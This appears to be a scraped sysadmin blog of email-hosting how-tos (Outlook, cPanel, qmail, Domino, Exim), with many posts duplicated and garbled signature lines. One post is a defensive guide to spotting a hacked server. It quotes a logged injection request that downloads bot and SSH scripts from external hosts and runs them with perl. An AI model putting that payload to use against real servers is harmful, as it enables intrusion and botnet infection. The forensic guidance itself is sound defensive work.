Showing posts with label Email. Show all posts
Showing posts with label Email. Show all posts

SSL Email Settings - Outlook

0 comments
General Settings

You can use the following settings if you require Secure POP3, Secure IMAP4 or Secure SMTP over SSL.
POP3 over SSL Server: yourdomainname.com / mail.yourdomainname.com

POP3 over SSL Port: 995
IMAP4 over SSL Server: yourdomainname.com / mail.yourdomainname.com

IMAP4 over SSL Port: 993
SMTP over SSL Server: yourdomainname.com / mail.yourdomainname.com

SMTP over SSL Port: 465

You can authenticate on these servers using your full email address as the username and corresponding password.

SSL Settings Guides

Outlook 2010


You can follow these steps to change your Outlook 2010 email settings if you want to use our Secure servers for sending and receiving email.

  1. Open Outlook 2010

  2. From the File click on Account Settings and select Account SettingsYou'll then see all of your email accounts listed.

  3. Select the account you wish to modify and click Change

  4. Change the Incoming Mail Server (POP3) to yourdomainname.com / mail.yourdomainname.com and change the Outgoing Mail Server (SMTP) to yourdomainname.com / mail.yourdomainname.com

  5. Click on More Settings...

  6. Select the Advanced tab

  7. There are two check boxes labeled This server requires and encrypted connection (SSL). Check mark both check boxes.

  8. Change the Incoming Server (POP3) to 995. Change the Outgoing Server (SMTP) to 465.

  9. Click OK

  10. Click Next > and then Finish


 

 

Determine if a server is hacked

0 comments
This guide is not meant to be all inclusive for figuring out if a server is hacked however it should give you a pretty good idea if a server is hacked the method used. This guide is going to focus on getting hacked via a php injection attack which is the most common today. There are certainly others but chances are if the server has been compromised by a script kiddie you will be able to find it via this guide. As long as the server has not been rooted it is generally possible to clean up and find all of the tools and scripts that were put on the server. Once a server has been rooted it is impossible to determine without a doubt that you have cleared everything out and what can or cannot be trusted. Once a server has been rooted for sure the server should be reformated/reimaged before it is put back into production. If you are ever unsure of where to go next or woud like to hire somebody to take care of this please take a look TotalServerSolutionswhich is a company that I run and work for is very familiar with handling these types of problems and preventing them from happening. . Of course if you have had the server hacked once you need to make sure and secure it so that it does not get hacked as soon as it is put online again.

The first step is to look at rkhunter and see if it reports anything that is bad. If rkhunter reports that the server has been rooted it is probably going to best to reimage the server once the method of intrusion has been determined.

Download and unzip rkhunter
—–command—–
cd /usr/local/src/
wget http://downloads.rootkit.nl/rkhunter-1.2.1.tar.gz
tar -zxf rkhunter-1.2.1.tar.gz
cd rkhunter
—–command—–

Install and run it
—–command—–
./installer.sh
rkhunter -c
—–command—–

If you are unsure of the output either look on google or you can post it here and I can try to help.

If that does not turn up anything and you are still having issues with the server sending out a DOS attack, hosting a botnet, or some other “bad” activity the next thing to check into how apache may have been used to exploit the server. This part is going to be hard for many that are not experienced with server administration because you have to be aware of what is normal and what is not. The directories that I am going to reference will have legitimate files but may also contain the scripts used to hacked or send out an attack.

Go ahead and look in /tmp first and delete the uneeded files that are normal

cd /tmp
rm -rf sess*
rm -rf ssh-*
rm -rf dos-*
ls -alh

On a normal basis the files are fine, the files are only being deleted now to aid in determining what is a legitmate file. The files that are going to be of interest are anything that are bold or green because that means that they can be executed. Typically the hacked files are going to have names that use numbers in the names, end in .pl (perl files), or simply look different from everything else in /tmp. It is impossible to make a list of everything, this is going to be where experience counts as to determining if something is in fact a “bad” file. If youare unsure of the file head over to google and search the name. If it is infact some sort of a rootkit or script you will probably find references to it and what it does.

Another thing to look at is who the file is owned by. If a file is owned by the user and group nobody it was probably created by apache. These files are going to be of particular interest during an investigation.

Make sure to look at the very top for a directory named …, .tmp, or anything with a period at the begining as that means it is a hidden file, something that normally would not be in tmp. If you find nothing in /tmp also check /var/tmp and /dev/shm. These directories are where most scripts are stored but it does not mean it is the only place they may be! It might require some more investigation as to what is happening if you are unable to determine what happened from the above.

Once you find the file you can start the investigation as to what went wrong. The best bet is going to be to look in /usr/local/apache/logs and /usr/local/apache/domlogs and to use the egrep command to search the files. For instance if you have the scriptr r0nin in /tmp you will want to go ahead and check how exactly it got in.

egrep r0nin *
Chances are you are going to see something like this:

Request: XXXXXXXXX – - [30/Apr/2005:10:41:20 -0400
] “GET /index.php?t=5704&rush=%65%63%68%6F%20
%5F%53%54%41%52%54%5F%3B%20cd%%2020/tmp;
mkdir%20.temp22;cd%20.temp22;wget%20http://www.xxx-
aane.com/pics/bot.htm;wget%20http://xxx.com/.notes/ssh2.h
tm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.h%20tm;
rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%
4E%44%5%20F&highlight=%2527.%70%61%73%73
%74%68%72%75%28%24%48%%2054%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%
68%20%5D%29.%2527?; HTTP/1.1? 403 219
(I have XXX’ed out some information)

If you do in fact find something like the above, there are many variations so it will not look exactly like that, then you were probably hacked via a mysql injection. To further prove that this is the case you can look at the timestamp on the file and the timestamp in the logs.

One nice tool to use to look into what else might be hacked is the command lsof. This command will let you see all files are are currently being accessed by a given user. First stop apache then run lsof to see what files it is using, the reason it must first be stopped is that if you do not there will be a huge list of libs and other files listed.

service httpd stop
lsof -u nobody

Looking at the lsoof output you may be able to find some other directories that are being used. Again here is something where looking at the naming will help, if some directory looks out of place take a look at it and you may be able to find something.

If that fails you can also use the ps command to try and find the offending process and track it down. Use

ps -aux

To look at everything that is running. Most times it is going to be hard pretty hard to just look at everything if you are not very familiar with what is going on and spot the offending process. I would go ahead and start out looking for only perl scripts since they are popular right now:

ps -aux |grep perl

If you do find something go ahead and search the drive for the file then open it with pico, you should be able to look at the commenting in the code to find out what sort of things it is capable of. Luckily most of the script kiddies have a section at the top that describes the file and what it does.

find / |grep somesript.pl

then edit it via:
pico -w /location/of/script.pl

Hopefully this guide will help you out in determining if a server has been hacked and a very basic way to analzye it. Generally doing what I posted above should help you find at least one of the offending processes if a server was in fact hacked. I am going to try to slowly add more information to this guide so if you have any suggestions please feel free to post them below. I am always very open to new ideas on how to do things or different ways of looking at something. If after you have followed this guide and you are unsure of what to do next consider hiring the company that I run, TotalServerSolutions, we are very familiar with locating and helping clean up after an attack. We can also secure your server to stop the server from even being hacked in the first place.

Plesk : Configure qmail to use alternate SMTP port 26

0 comments
You have a plesk dedicated server and having issues related to SMTP port 25. There are issues where ISP blocks SMTP port 25, in this case we can use alternate port (I will use port 26).
Kindly follow the below steps to change SMTP port on your plesk dedicated (linux) server to 26.

Login to your server as root

root# cd /etc/xinetd.d

root# ls -l | grep smtp*

root# cat smtp_psa
service smtp
{
socket_type = stream
protocol = tcp
wait = no
disable = no
user = root
instances = UNLIMITED
server = /var/qmail/bin/tcp-env
server_args = /usr/sbin/rblsmtpd -r bl.spamcop.net /var/qmail/bin/relaylock /var/qmail/bin/qmail-smtpd /var/qmail/bin/smtp_auth /var/qmail/bin/true /var/qmail/bin/cmd5checkpw /var/qmail/bin/true
}

root# nano /etc/services

Add the below lines

smtp_psa_new 26/tcp mail
smtp_psa_new 26/udp mail

root# cp smtp_psa smtp_psa_new

Change the service line in the new file “smtp_psa_new” to be this:

service smtp_psa_new
{
socket_type = stream
protocol = tcp
wait = no
disable = no
user = root
instances = UNLIMITED
server = /var/qmail/bin/tcp-env
server_args = /usr/sbin/rblsmtpd -r bl.spamcop.net /var/qmail/bin/relaylock /var/qmail/bin/qmail-smtpd /var/qmail/bin/smtp_auth /var/qmail/bin/true /var/qmail/bin/cmd5checkpw /var/qmail/bin/true
}

root# /etc/init.d/xinetd restart

And you should see smtp listening on ports 25, and 26:

root# netstat -anp | grep xinetd
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 6989/xinetd
tcp 0 0 0.0.0.0:26 0.0.0.0:* LISTEN 6989/xinetd

Online Backup, Replication and Encryption

1 comments

Error 554 message returned in an SMTP email bounceback

0 comments

Problem:


Customer was getting the following errors from their Domino SMTP mail server when sending emails via the Email Report Server:





03/25/02 08:55:23: Mail from root@linux.mylastname... 03/25/02 08:55:24: SMTP Host did not acknowlege MAIL FROM command. [554 Mail from root@linux.mylastname rejected for policy reasons. ] 03/25/02 08:55:25: Mail transfer failed, reason: SMTP Host did not acknowlege MAIL FROM command. [554 Mail from baduser@malformed.address rejected for policy reasons. ]


This is what the Domino Log says: 03/25/2002 07:35:19 AM SMTP Server [01F6:002D-028C] Mail from root@linux.mylastname rejected for policy reasons. Domain not found in DNS. 03/25/2002 07:35:20 AM SMTP Server [01F6:002D-028C] Mail from baduser@malformed.address rejected for policy reasons. Domain not found in DNS.



Solution:


This problem should be able to be resolved by making the following changes on the Lotus Domino server and then restarting the Domino server.


1.) Start the Domino Administrator program.


2.) Go to the "Message/Messaging Settings" tree pulldown in the administrator window. On the right side window you will see the "Messaging Settings" window.


3.) From the "Messaging Settings" window Click the "Restrictions and Controls" tab and then click the "SMTP Inbound Controls" tab.


4.) Change the "Verify Connecting Host Name in DNS" setting to "Disabled".


5.) Optionally you can also change the "Verify sender's domain in DNS" setting to "Disabled".


6.) Save the settings by clicking the "Save and Close" button.


7.) Shutdown and restart the Domino Server.

Forwarding mail to another email address

0 comments
under Mail >> Forwarders

Click on "Add Forwarder"

For multiple forwarders you can set more than one forwarder for the same email address

Example:

email@add1 >> email@add2
email@add1 >> email@add3

Forwarding mail to another email address

0 comments
under Mail >> Forwarders

Click on "Add Forwarder"

For multiple forwarders you can set more than one forwarder for the same email address

Example:

email@add1 >> email@add2
email@add1 >> email@add3

How to increase email timeouts

0 comments
Outlook 2000 (CW)
1. Start Outlook.
2. On the Tools menu, click Services.
3. On the Services tab, select Internet E-mail, and then click Properties.
4. Click the Advanced tab.
5. Gradually increase the server timeout setting until the problem is resolved.


Outlook 2000 (IMO)
1. Start Outlook.
2. On the Tools menu, click Accounts.
3. Select the target account, and then click Properties.
4. Click the Advanced tab.
5. Gradually increase the server timeout setting until the problem is resolved.


Outlook 2002 and Outlook 2003
1. Start Outlook.
2. On the Tools menu, click E-mail Accounts.
3. Click View or change existing e-mail accounts, and then click Next.
4. Click your POP3 account, and then click Change.
5. Click More Settings.
6. Click the Advanced tab.
7. Gradually increase the server timeout setting until the issue is resolved.


Outlook Express 5.x and 6.0
1. Start Outlook Express.
2. On the Tools menu, click Accounts.
3. Click the Mail tab.
4. Click your POP3 account, and then click Properties.
5. Click the Advanced tab.
6. Gradually increase the server timeout setting until the problem is resolved.

How to increase email timeouts

0 comments
Outlook 2000 (CW)
1. Start Outlook.
2. On the Tools menu, click Services.
3. On the Services tab, select Internet E-mail, and then click Properties.
4. Click the Advanced tab.
5. Gradually increase the server timeout setting until the problem is resolved.


Outlook 2000 (IMO)
1. Start Outlook.
2. On the Tools menu, click Accounts.
3. Select the target account, and then click Properties.
4. Click the Advanced tab.
5. Gradually increase the server timeout setting until the problem is resolved.


Outlook 2002 and Outlook 2003
1. Start Outlook.
2. On the Tools menu, click E-mail Accounts.
3. Click View or change existing e-mail accounts, and then click Next.
4. Click your POP3 account, and then click Change.
5. Click More Settings.
6. Click the Advanced tab.
7. Gradually increase the server timeout setting until the issue is resolved.


Outlook Express 5.x and 6.0
1. Start Outlook Express.
2. On the Tools menu, click Accounts.
3. Click the Mail tab.
4. Click your POP3 account, and then click Properties.
5. Click the Advanced tab.
6. Gradually increase the server timeout setting until the problem is resolved.

Microsoft Outlook 2000: How to setup an email account.

1 comments
Setup Microsoft Outlook 2000

1. Start your Outlook 2000 program.

2. Click on TOOLS from the pull down menu, and select ACCOUNTS .

3. In the Internet Accounts Window, click on the ADD button and select MAIL

4. In the Internet Connection Wizard, enter your Name, then click Next

5. Enter your E-mail address, then click Next. ( NOTE : Make sure that all information entered in this window is in lower case.)

6.  Select POP3 as the mail server type. Enter mail.yourdomain (e.g mail.greycell.com) for the Incoming Address Field

Outgoing Address Field (please contact your ISP for their SMTP server)

7.  Enter your Username (full email address setup in cpanel) and Password (in lower case).  If you do not want to enter your password every time you check your mail, make sure that the Remember Password box is checked, shown above. Click Next.

8.  Choose how you connect to the Internet...

a. If you are dialing up to the Internet through your Modem, select "Connect using my phone line".

b. If you have a ISDN or other dedicated connection, select "Connect using my local area network (LAN)".

9.  If you connect to the Internet using a modem, then select "Use an  existing dial-up connection" and select the connection you use to connect.

10.  Your Done!  Click Finish.

11.  In the Internet Accounts window, click Close.

To check your e-mail, click on the SEND and RECEIVE icon.

Setup Microsoft Outlook 2000

1. Start your Outlook 2000 program.

2. Click on TOOLS from the pull down menu, and select ACCOUNTS .

3. In the Internet Accounts Window, click on the ADD button and select MAIL

4. In the Internet Connection Wizard, enter your Name, then click Next

5. Enter your E-mail address, then click Next. ( NOTE : Make sure that all information entered in this window is in lower case.)

6.  Select POP3 as the mail server type. Enter mail.yourdomain (e.g mail.greycell.com) for the Incoming Address Field

Outgoing Address Field (please contact your ISP for their SMTP server)

7.  Enter your Username (full email address setup in cpanel) and Password (in lower case).  If you do not want to enter your password every time you check your mail, make sure that the Remember Password box is checked, shown above. Click Next.

8.  Choose how you connect to the Internet...

a. If you are dialing up to the Internet through your Modem, select "Connect using my phone line".

b. If you have a ISDN or other dedicated connection, select "Connect using my local area network (LAN)".

9.  If you connect to the Internet using a modem, then select "Use an  existing dial-up connection" and select the connection you use to connect.

10.  Your Done!  Click Finish.

11.  In the Internet Accounts window, click Close.

Know just click on send and receive icon, to check

Microsoft Outlook 2000: How to setup an email account.

1 comments
Setup Microsoft Outlook 2000

1. Start your Outlook 2000 program.

2. Click on TOOLS from the pull down menu, and select ACCOUNTS .

3. In the Internet Accounts Window, click on the ADD button and select MAIL

4. In the Internet Connection Wizard, enter your Name, then click Next

5. Enter your E-mail address, then click Next. ( NOTE : Make sure that all information entered in this window is in lower case.)

6.  Select POP3 as the mail server type. Enter mail.yourdomain (e.g mail.greycell.com) for the Incoming Address Field

Outgoing Address Field (please contact your ISP for their SMTP server)

7.  Enter your Username (full email address setup in cpanel) and Password (in lower case).  If you do not want to enter your password every time you check your mail, make sure that the Remember Password box is checked, shown above. Click Next.

8.  Choose how you connect to the Internet...

a. If you are dialing up to the Internet through your Modem, select "Connect using my phone line".

b. If you have a ISDN or other dedicated connection, select "Connect using my local area network (LAN)".

9.  If you connect to the Internet using a modem, then select "Use an  existing dial-up connection" and select the connection you use to connect.

10.  Your Done!  Click Finish.

11.  In the Internet Accounts window, click Close.

To check your e-mail, click on the SEND and RECEIVE icon.

Setup Microsoft Outlook 2000

1. Start your Outlook 2000 program.

2. Click on TOOLS from the pull down menu, and select ACCOUNTS .

3. In the Internet Accounts Window, click on the ADD button and select MAIL

4. In the Internet Connection Wizard, enter your Name, then click Next

5. Enter your E-mail address, then click Next. ( NOTE : Make sure that all information entered in this window is in lower case.)

6.  Select POP3 as the mail server type. Enter mail.yourdomain (e.g mail.greycell.com) for the Incoming Address Field

Outgoing Address Field (please contact your ISP for their SMTP server)

7.  Enter your Username (full email address setup in cpanel) and Password (in lower case).  If you do not want to enter your password every time you check your mail, make sure that the Remember Password box is checked, shown above. Click Next.

8.  Choose how you connect to the Internet...

a. If you are dialing up to the Internet through your Modem, select "Connect using my phone line".

b. If you have a ISDN or other dedicated connection, select "Connect using my local area network (LAN)".

9.  If you connect to the Internet using a modem, then select "Use an  existing dial-up connection" and select the connection you use to connect.

10.  Your Done!  Click Finish.

11.  In the Internet Accounts window, click Close.

Know just click on send and receive icon, to check

How to setup an email account on your new cpanel.

0 comments
There are two steps involved in setting up an email account on your hosting account.

  1. Log into your control panel and create an email address.

  2. Setup your email client to connect to our server to send / recieve email.


Setting up an email account in cPanel.


  1. Login to your cPanel

  2. Click on the "Mail" icon

  3. Click on "Manage/Add/Remove Accounts"

  4. Click on "Add Account" at the bottom of the page

  5. Enter the name of the account you'd like to create

  6. Enter the password you would like to use for the account

  7. Click "Create" and you've now created your new account on the server!


You can access it either via your email client "outlook" or via web mail:  yourdomain.com/webmail

Accessing your email via webmail.
You will be prompted for a username and password:




    • username: will be your full email address

    • password: will be the password you created in the email control panel setup process.




Accessing your email via an email client such as outlook.

Because of the wide array of email clients available it would be difficult to cover them all in this one article (more tutorial are available on the support.amplehosting.com website.

The basics:

pop3: mail.yourdomain.coma ( replace yourdomain.com with the domain you have registered with us)
smtp: mail.yourdomain.com ( replace yourdomain.com with the domain you have registered with us)

Username: your full email address
Password: the password your created in your control panel.

How to setup an email account on your new cpanel.

0 comments
There are two steps involved in setting up an email account on your hosting account.

  1. Log into your control panel and create an email address.

  2. Setup your email client to connect to our server to send / recieve email.


Setting up an email account in cPanel.


  1. Login to your cPanel

  2. Click on the "Mail" icon

  3. Click on "Manage/Add/Remove Accounts"

  4. Click on "Add Account" at the bottom of the page

  5. Enter the name of the account you'd like to create

  6. Enter the password you would like to use for the account

  7. Click "Create" and you've now created your new account on the server!


You can access it either via your email client "outlook" or via web mail:  yourdomain.com/webmail

Accessing your email via webmail.
You will be prompted for a username and password:




    • username: will be your full email address

    • password: will be the password you created in the email control panel setup process.




Accessing your email via an email client such as outlook.

Because of the wide array of email clients available it would be difficult to cover them all in this one article (more tutorial are available on the support.amplehosting.com website.

The basics:

pop3: mail.yourdomain.coma ( replace yourdomain.com with the domain you have registered with us)
smtp: mail.yourdomain.com ( replace yourdomain.com with the domain you have registered with us)

Username: your full email address
Password: the password your created in your control panel.

Microsoft Outlook 2003 # How do I set up email accounts.

0 comments
1. Open Outlook 2003 and click on the "Tools" drop down menu.

2. Click on "E-mail Accounts".

3. Check the "Add a new e-mail account" radio button and click "Next ".

4. Check the "POP3" radio button and click "Next ".

5. Enter the configuration details for the account. Make sure "Secure Password Authentication (SPA)" is unticked. It is up to you       whether you check “save password”

6. The following information then needs to be added:

User Information

Your Name: Descriptive/Personal Name or Title of Account

E-mail Address: The email address being setup (mail@domain.com)

Server Information

Incoming mail server (POP3) - mail.yourdomain

Outgoing mail server (SMTP) - Your ISP"s smtp server

Login Information

User Name: - Full Email address

Password: - Respective password for email account (this was setup in you cpanel (control panel))

7. Click the "Next" button.

8. Click the "Finish" button to close the wizard.

Microsoft Outlook 2003 # How do I set up email accounts.

0 comments
1. Open Outlook 2003 and click on the "Tools" drop down menu.

2. Click on "E-mail Accounts".

3. Check the "Add a new e-mail account" radio button and click "Next ".

4. Check the "POP3" radio button and click "Next ".

5. Enter the configuration details for the account. Make sure "Secure Password Authentication (SPA)" is unticked. It is up to you       whether you check “save password”

6. The following information then needs to be added:

User Information

Your Name: Descriptive/Personal Name or Title of Account

E-mail Address: The email address being setup (mail@domain.com)

Server Information

Incoming mail server (POP3) - mail.yourdomain

Outgoing mail server (SMTP) - Your ISP"s smtp server

Login Information

User Name: - Full Email address

Password: - Respective password for email account (this was setup in you cpanel (control panel))

7. Click the "Next" button.

8. Click the "Finish" button to close the wizard.

How to create a Test Mail Script

0 comments
Login to SSH with root user

cd /home//public_html

Create test phpmail fine

pico phpmail.php

Insert following code in that file

<?

$to = "only24x7support@gmail.com";

$subject = "Hi!";

$body = "Hi,\n\nHow are you?";

if (mail($to, $subject, $body)) {

echo("

Message successfully sent!

");

} else {

echo("

Message delivery failed...

");

}

?>

Then cange the ownership of that file :

chown user.user phpmail.php

Then test the script in browser or in SSH, you will get follwing result, which means php mail function working fine

Login to SSH with root user


# cd /home//public_html


Create test phpmail fine


#  pico phpmail.php


Insert following code in that file


<?

$to = "only24x7support@gmail.com";

$subject = "Hi!";

$body = "Hi,\n\nHow are you?";

if (mail($to, $subject, $body)) {

echo("

Message successfully sent!

");

} else {

echo("

Message delivery failed...

");

}

?>


Then cange the ownership of that file :


#  chown user.user phpmail.php



Then test the script in browser or in SSH, you will get follwing result, which means php mail function working fine


-bash-2.05b# php phpmail.php

X-Powered-By: PHP/4.4.2

Content-type: text/html

Message successfully sent!


#@$* Ya you did it .....


~^*!#@ ??_?????^?????_?????~??V?_????? – ?Ú????? @#!*^~


??g?_g????^?????_g????~????_g???? – ?????????




How to create a Test Mail Script

0 comments
Login to SSH with root user

cd /home//public_html

Create test phpmail fine

pico phpmail.php

Insert following code in that file

<?

$to = "only24x7support@gmail.com";

$subject = "Hi!";

$body = "Hi,\n\nHow are you?";

if (mail($to, $subject, $body)) {

echo("

Message successfully sent!

");

} else {

echo("

Message delivery failed...

");

}

?>

Then cange the ownership of that file :

chown user.user phpmail.php

Then test the script in browser or in SSH, you will get follwing result, which means php mail function working fine

Login to SSH with root user


# cd /home//public_html


Create test phpmail fine


#  pico phpmail.php


Insert following code in that file


<?

$to = "only24x7support@gmail.com";

$subject = "Hi!";

$body = "Hi,\n\nHow are you?";

if (mail($to, $subject, $body)) {

echo("

Message successfully sent!

");

} else {

echo("

Message delivery failed...

");

}

?>


Then cange the ownership of that file :


#  chown user.user phpmail.php



Then test the script in browser or in SSH, you will get follwing result, which means php mail function working fine


-bash-2.05b# php phpmail.php

X-Powered-By: PHP/4.4.2

Content-type: text/html

Message successfully sent!


#@$* Ya you did it .....


~^*!#@ ??_?????^?????_?????~??V?_????? – ?Ú????? @#!*^~


??g?_g????^?????_g????~????_g???? – ?????????




Error : Horde login error

0 comments
If you are getting Horde login error in Cpanel like :

Warning: Unknown: write failed: Disk quota exceeded (122) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of

session.save_path is correct (/var/cpanel/userhomes/cpanelhorde/sessions) in Unknown on line 0

Then try this Cpanel script :

# /scripts/autorepair phpapps_owner_fix

The above script will reset all the quotas for the Cpanel* users.

If you are getting Horde login error in Cpanel like :

Warning: Unknown: write failed: Disk quota exceeded (122) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting ofsession.save_path is correct (/var/cpanel/userhomes/cpanelhorde/sessions) in Unknown on line 0

Then try this Cpanel script :

# /scripts/autorepair phpapps_owner_fix

The above script will reset all the quotas for the Cpanel* users.

??g?_g????^?????_g????~????_g???? - ?????????


«g?^g????_?????~g????-?¢?_g????~????_g????? ????PuShKaR

?»??_?????^?????_?????~??V?_????? - ?Ú?????«?

Error : Horde login error

0 comments
If you are getting Horde login error in Cpanel like :

Warning: Unknown: write failed: Disk quota exceeded (122) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of

session.save_path is correct (/var/cpanel/userhomes/cpanelhorde/sessions) in Unknown on line 0

Then try this Cpanel script :

# /scripts/autorepair phpapps_owner_fix

The above script will reset all the quotas for the Cpanel* users.

If you are getting Horde login error in Cpanel like :

Warning: Unknown: write failed: Disk quota exceeded (122) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting ofsession.save_path is correct (/var/cpanel/userhomes/cpanelhorde/sessions) in Unknown on line 0

Then try this Cpanel script :

# /scripts/autorepair phpapps_owner_fix

The above script will reset all the quotas for the Cpanel* users.

??g?_g????^?????_g????~????_g???? - ?????????


«g?^g????_?????~g????-?¢?_g????~????_g????? ????PuShKaR

?»??_?????^?????_?????~??V?_????? - ?Ú?????«?

Exim exiqgrep utility

0 comments
For getting the message id of mails in the queue in which the receiving domain is yahoo.com

# exiqgrep -i -r yahoo.com

in which display option is i and selection criteria is r

For getting the message id of frozen messages

# exiqgrep -i -z

Try and test with other options you can handle the exim mail queue easily with this utility

For getting the message id of mails in the queue in which the receiving domain is yahoo.com

# exiqgrep -i -r yahoo.com

in which display option is i and selection criteria is r

For getting the message id of frozen messages

# exiqgrep -i -z

Try and test with other options you can handle the exim mail queue easily with this utility

¤=???•??_?????^?????_?????~l???_????? - ?????????•=¤

??•G?_G????^??I??_G????~??V?_G???? - P??????•??